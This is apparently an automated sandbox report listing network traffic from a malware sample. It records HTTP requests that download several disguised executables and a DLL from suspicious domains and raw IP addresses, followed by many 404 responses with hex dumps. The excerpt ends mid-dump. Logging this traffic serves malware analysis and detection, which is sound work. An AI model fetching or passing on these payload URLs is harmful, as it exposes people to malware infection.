Source: global traffic	HTTP traffic detected: GET /u8txqc HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: short.link
Source: global traffic	HTTP traffic detected: GET /dogewallet-setup.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: dodecoin.org
Source: global traffic	HTTP traffic detected: GET /files/5376_1640094939_1074.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytools-foryou-777.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: GET /tratata.php HTTP/1.1Host: file-file-host4.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: file-file-host4.comCache-Control: no-cacheCookie: PHPSESSID=t44a91s61u0706joml8cj91epa
Source: global traffic	HTTP traffic detected: GET /files/2264_1640622147_2258.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: GET /stlr/maps.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 91.243.44.128

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f0 1e b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4b ef ae 8a 70 bc 57 dd 42 d6 f7 23 8c 21 e6 c3 93 50 2c e2 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9KpWB#!P,c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:41 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeData Raw: 31 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 64 61 74 61 2d 68 6f 73 74 2d 63 6f 69 6e 2d 38 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 11a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at data-host-coin-8.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 02 e9 1a d1 70 ae 59 4a d9 52 a6 be 67 e3 25 58 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOjpYJRg%XQAc}yc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 31 Dec 2021 18:11:53 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 31 Dec 2021 18:12:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 